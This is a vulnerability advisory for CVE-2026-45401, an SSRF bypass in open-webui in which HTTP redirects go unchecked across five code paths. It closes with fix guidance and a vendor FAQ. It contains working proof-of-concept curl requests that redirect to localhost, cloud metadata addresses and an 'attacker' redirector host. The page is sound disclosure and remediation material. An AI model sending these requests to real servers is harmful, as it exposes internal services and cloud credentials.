CVE-2026-45401

Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints

The validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers.

Affected code paths

The bypass exists across multiple call sites; each independently follows redirects without re-validation.

Path 1, sync _scrape via SafeWebBaseLoader

backend/open_webui/retrieval/web/utils.py, SafeWebBaseLoader inherits from langchain_community.document_loaders.WebBaseLoader. The parent's _scrape() calls self.session.get(url, **self.requests_kwargs). requests_kwargs only sets timeout; allow_redirects=False is not passed, so requests.Session.get() follows redirects with the default allow_redirects=True. validate_url() is invoked once on the original URL only.

Path 2, async _fetch (aiohttp)

backend/open_webui/retrieval/web/utils.py, _fetch() previously inherited the aiohttp default allow_redirects=True. As of HEAD this path is fixed (allow_redirects=False). Listed for completeness.

Path 3, get_content_from_url (sync requests.get)

backend/open_webui/retrieval/utils.py, response = requests.get(url, stream=True, timeout=30). No allow_redirects=False. Reached via /api/v1/retrieval/process/web (file ingestion) and other routers that resolve external URLs.

Path 4, load_url_image (image edit)

backend/open_webui/routers/images.py, image-URL fetching helper used by the image-edit endpoint. Same pattern: validate_url() checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via /api/v1/images/edit.

Path 5, get_image_base64_from_url (chat-completion image inlining)

backend/open_webui/utils/files.py, get_image_base64_from_url() is invoked from convert_url_images_to_base64() in backend/open_webui/utils/middleware.py on every /api/chat/completions request whose message content includes an image_url part. The shared aiohttp session pool (backend/open_webui/utils/session_pool.py) does not override the aiohttp default allow_redirects=True, and the call site itself does not pass allow_redirects=False. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag, any authenticated user can trigger it from a normal chat message.

Proof of concept

Authenticated low-privilege user; default config, no admin or special permissions required.

curl -X POST https://<target>/api/v1/retrieval/process/web \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}'

Response body contains the internal /api/config payload in file.data.content. Replace the redirect target with http://169.254.169.254/latest/meta-data/ for cloud metadata, or any internal hostname reachable from the server.

For the chat-completion path (Path 5), the same redirect is followed when an image_url content part points to an attacker-controlled redirector:

curl -X POST https://<target>/api/chat/completions \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.

• tenbbughunters, first to identify SafeWebBaseLoader sync _scrape (Path 1)
• YLChen-007, first to identify load_url_image (Path 4)
• tempcollab, first to identify aiohttp _fetch (Path 2)
• sneaXOR, first to identify get_content_from_url (Path 3)
• nayakchinmohan, first to identify get_image_base64_from_url in chat-completion middleware (Path 5)

Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process, cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-45401 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.5); upgrading removes the vulnerable code path.

Kodem intelligence

For every call site that follows redirects, set allow_redirects=False on the underlying HTTP client and add a per-hop validation loop using validate_url() on each Location: header.

1. What is CVE-2026-45401? CVE-2026-45401 is a high-severity server-side request forgery (SSRF) vulnerability in open-webui (pip), affecting versions <= 0.9.4. It is fixed in 0.9.5. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-45401? CVE-2026-45401 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45401? open-webui (pip) versions <= 0.9.4 is affected.
4. Is there a fix for CVE-2026-45401? Yes. CVE-2026-45401 is fixed in 0.9.5. Upgrade to this version or later.
5. Is CVE-2026-45401 exploitable, and should I be worried? Whether CVE-2026-45401 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45401 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45401? Upgrade open-webui to 0.9.5 or later.